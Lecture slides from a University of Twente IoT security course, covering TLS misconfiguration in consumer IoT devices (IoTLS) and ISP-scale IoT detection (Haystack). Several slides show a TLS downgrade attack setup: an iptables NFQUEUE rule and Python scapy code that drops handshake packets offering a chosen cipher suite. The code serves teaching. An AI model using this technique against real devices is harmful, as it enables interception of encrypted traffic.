#### Lecture #5: IoT Device Security

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University of Twente | May 24, 2023



# SAY LOT ONE MORE TIME!

# **I DARE YOU! I DOUBLE-DARE YOU!**



#### Admin



#### **Interactive lectures**

- Overall objective: enable you to learn from each other and further increase your understanding of the papers, contributes to preparing yourself for the oral exam
- Interactive format
  - Teachers summarize two papers per lecture
  - Multiple-choice and open questions (not graded) and discussion
  - Enables you to learn from each other, so mandatory to participate
- A 7th "re-sit" lecture in case you miss a lecture (optional for everybody else), same format



### Paper summaries

- You must have handed in your two summaries **before 7AM on the day of the lecture**
- Each summary can be at most 250 words, at most 1 single-sided A4 page
- You can add figures, and graphs from the paper or add your own if you like (e.g., concept maps)
- You can use the summaries during the oral exam
- Submit through CANVAS
- You <u>cannot</u> complete SSI without submitting 12 paper summaries!



#### Schedule

No.	Date	Contents
1	Apr 26	Course introduction
2	May 3	Lecture: IoT and Internet Core Protocols
3	May 10	Lecture: IoT Botnet Measurements 1
4	May 17	Lecture: IoT Edge Security Systems
5	May 24	Lecture: IoT Device Security
6	May 31	Lecture: IoT Botnet Measurements 2
7	Jun 1	Guest lecture #1: naval systems, Dr. Sorin Iacob, Thales
8	Jun 5	Lecture: IoT Security in Non-Carpeted Areas
9	Jun 12	Guest lecture #2: the Internet ecosystem, Marco Davids, SIDN Labs
10	Jun 14	Lecture: IoT Honeypots (re-sit)



#### Important dates

- Two summaries per lecture: before the lecture (07:00 CEST) in which the papers will be discussed
- Lab report (PDF) and required files: Fri June 23, 2023, 23:59 CEST
- All to be submitted through CANVAS



# Where are you with your lab assignment?

- Still trying to find the instructions on the SSI site
- Designing measurement setup
- Analyzing measurements
- Writing lab report
- Just need to click "submit" in Canvas





#### Introduction to today's lecture



### Motivation for today:







# Today's papers

[IoTLS] M.T. Paracha, D.J. Dubois, N. Vallina-Rodriguez, D. Choffnes, "IoTLS: understanding TLS usage in consumer IoT devices", 21st ACM Internet Measurement Conference (IMC 2021), November 2021, https://doi.org/10.1145/3487552.3487830.

[Haystack] S.J. Saidi, A.M. Mandalari, R. Kolcun, H. Haddadi, D.J. Dubois, D. Choffnes, G. Smaragdakis, and A. Feldmann, "A Haystack Full of Needles: Scalable Detection of IoT Devices in the Wild", 20st ACM Internet Measurement Conference (IMC 2020), October 2020, https://dl.acm.org/doi/pdf/10.1145/3419394.3423650.



# Today's learning objective

- After the lecture, you will be able to discuss the impact of incorrectly configured TLS on IoT devices.
- Furthermore, you will be able to discuss detection of IoT devices from the point of view of an ISP, how this allows for large-scale studying of IoT, and the potential privacy consequences.
- Contributes to SSI learning goal #1: "Understand IoT concepts and applications, security threats, technical solutions, and a few relevant standardization efforts in the IETF"



# IoTLS: Understanding TLS Usage in Consumer IoT Devices

Muhammad Talha Paracha (Northeastern University), Daniel J. Dubois (Northeastern University), Narseo Vallina-Rodriguez (IMDEA Networks / ICSI / AppCensus Inc.), David Choffnes (Northeastern University)



### Where am I?

- RIPE86
- A gathering of network operators from all across the RIPE region





#### RIPE86

- Not a conference to present new papers, but:
- Raise awareness of day-to-day issues network operators face
- Discuss best practices on fighting abuse
- Right now, the IoT working group is discussing:
  - Optical Wireless Communication for the Networking of Things
  - Sharing Global Good Practice in IoT A Global Agenda



#### RIPE86

- Student tickets are cheap (EUR 50 instead of EUR 400), but lodging is not included
- Very worthwhile to grow your professional network
- Follow some of the talks/events live: https://ripe86.ripe.net/live/



#### Intro

• Who thinks this paper is super clear and does not really need a discussion?



#### That's All Folks





#### Meta Discussion

- What do you think of the paper in general?
- How does this paper compare to previous papers we read?
- Think of the contribution or even the writing style.



# Things I Noticed

- Introduction: Automated firmware analysis is not possible Does it have to be?
- How could this paper have looked if we had analyzed the firmware files?
- Methodology: Are some crucial devices missing? If yes, why are they crucial?



#### InvalidBasicConstraints

- Who can explain what this means?
- Legitimate root CA signed our cert.
- Therefore, we can also sign legitimate certs and extend the chain.
- Client does not know if we are a CA or not, if it does not check this basic constraint on our certificate.
- This bug was found in 2002 already! See
- <u>https://marc.info/?l=bugtraq&m=102866120821995&w=2</u>



# Root Stores Analysis (RQ2)

- How does it work?
- Can we find all certificates this way?
- What would it take to truly find all?
- Could you imagine that there are extra root certificates in some devices?
- If so, what would their purpose be?
- Maybe they were for "debugging" and then forgotten to be removed?



### TLS Downgrade Attack – Requirements

- Have your computer/laptop act as router for the IoT device
- iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1



#### TLS Downgrade Attack – Local Firewall



ABS

#### TLS Downgrade Attack – Boilerplate Code

#### ...

#! /usr/bin/env python2.7
from scapy.all import \*
from netfilterqueue import NetfilterQueue

#### def modify(packet):

pkt = IP(packet.get\_payload()) #converts the raw packet to a scapy compatible
string

```
#modify the packet all you want here
```

packet.set\_payload(str(pkt)) #set the packet content to our modified version

packet.accept() #accept the packet

```
nfqueue = NetfilterQueue()
#1 is the iptabels rule queue number, modify is the callback function
nfqueue.bind(1, modify)
try:
    print "[*] waiting for data"
    nfqueue.run()
except KeyboardInterrupt:
    pass
```



### TLS Downgrade Attack – Boilerplate Code

#### $\bullet \bullet \bullet$

```
def packetReceived(pkt):
 print("Accepted a new packet...")
 ip = IP(pkt.get payload())
 if not ip.haslayer("Raw"):
                                                           # not the Handshake, forward
   pkt.accept();
  else:
   tcpPayload = ip["Raw"].load;
                                                           # "Raw" corresponds to the TCP
payload
    if tcpPayload[0] == 0x16 and tcpPayload[1] == 0x03 and tcpPayload[46] == 0x00 and
tcpPayload[47] == 0x35:
                                                           # drop
      pkt.drop();
TLS RSA WITH AES 256 CBC SHA
   else:
                                                           # not the Handshake, forward
      pkt.accept();
```



#### TLS Downgrade Attack – Sources

- <u>https://lbarman.ch/blog/downgrade-tls/</u>
- <u>https://byt3bl33d3r.github.io/using-nfqueue-with-python-the-right-way.html</u>
- <u>https://www.booleanworld.com/depth-guide-iptables-linux-firewall/</u>
- <u>https://pypi.org/project/NetfilterQueue/</u>
- <u>https://stackoverflow.com/questions/62882429/netfilterqueue-scapy-set-payload</u>



#### **TLS Downgrade Attack**

• Who is now thinking: We should have implemented that in our lab report?



# Finishing Up

- Results: Servers don't support stronger TLS versions, why?
- Discussion: TLS as an operating system service similarity to Deadbolt?
- Discussion: What did you think of the vendor responses?



#### Lessons Learned?

- Good and bad news about TLS usage in IoT devices
- Do we see an overarching theme regarding the bad news?



### **Open Discussion**

• What would you like to talk about?



#### "A Haystack Full of Needles: Scalable Detection of IoT Devices in the Wild""

Internet Measurement Conference (IMC 2020)



## Your opinion

What is the paper about?

#### What did you think of the paper?





#### The Three Parts



Figure 2: General methodology overview.

Figure 3: ISP setup & flow collection points. Figure 4: IXP setup & flow collection points.



# Scalable detection of IoT devices

The main method of IoT device detection

IP-addresses contacting servers (e.g., API)

- 1. Platform-level
- 2. Manufacturer-level
- 3. Product-level



Figure 1: Simplified IoT communication patterns.



#### Home-VP

Time to detect IoT

Domains per IoT device

Threshold for detection



#### **Controlled experiments**

Tunnel traffic to an ISP to establish ground truth.

Why do this? And why exactly like this?





# IoT testbed [4]

• Number of devices contacting non-first party organizations





J. Ren, D. J. Dubois, D. Choffnes, A. M. Mandalari, R. Kolcun, and H. Haddadi, "Information Exposure from Consumer IoT Devices: A Multidimensional, Network-Informed Measurement Approach", Internet Measurement Conference (IMC2019), 2019.



#### ISP vantage point

12M subscribers

What can they see?





Vantage Point 😣 Home-VP 📇 ISP-VP

(d) # Unique IoT devices per hour.



#### 1 in 5 subscribers has an IoT device





#### Grey import



Figure 14: ISP: Drill down of IoT activity for 32 different IoT device types with their popularity in the ISPs country.

#### A Smart Home Is No Castle

From 2016, technical report: not peer-reviewed.

Noah Apthorpe, Dillon Reisman, Nick Feamster, "A Smart Home is No Castle: Privacy Vulnerabilities of Encrypted IoT Traffic", Workshop on Data and Algorithmic Transparency (DAT '16), New York University Law School, November 2016, <u>https://arxiv.org/abs/1705.06805</u>



#### IXP vantage point





Figure 15: IXP: Number of Samsung IoT, Alexa Enabled, and Other 32 IoT device types IPs observed/day.

15-11-2020.



#### **Discussion on Security Benefits**

"For example, an ISP can use our methodology <u>for redirecting the IoT devices</u> <u>traffic to a new backend infrastructure</u> that offers privacy notices or security patches for devices that are no longer supported by their manufacturers."

"Moreover, if an IoT device is misbehaving, e.g., if it is involved in network attacks or part of a botnet [31], our methodology can help the ISP/IXP in identifying what devices are common among the subscriber lines with suspicious traffic."



#### Discussion

IXP's should implement Haystack-like systems so that regulators can find out how often specific IoT devices are deployed in the wild.





#### Lessons Learned

- 20% of 15M subscriber lines used at least one of the 56 testbed IoT devices.
- Grey or parallel import visible at ISP level.
- Can we finally check estimates of Gartner and others regarding number of deployed IoT devices?



# Today's objective revisited

- After the lecture, you will be able to discuss the impact of incorrectly configured TLS on IoT devices.
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- Contributes to SSI learning goal #1: "Understand IoT concepts and applications, security threats, technical solutions, and a few relevant standardization efforts in the IETF"



#### Lecture feedback

I am able to discuss potential misconfigurations of TLS within the IoT.







#### Lecture feedback

I am able to discuss detection of IoT devices from the point of view of an ISP, how this allows for large-scale studying of IoT, and the potential privacy consequences







### Course feedback so far

- Clarity of learning goals?
- Relevance of topics?
- Alignment with prior knowledge?
- Amount of work and pace?
- Any issues with the lab assignment?





• Other?

Volg ons

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#### See you next week!

**Tue May 31, 10:45-12:30** Topic: IoT Botnet Measurements 2

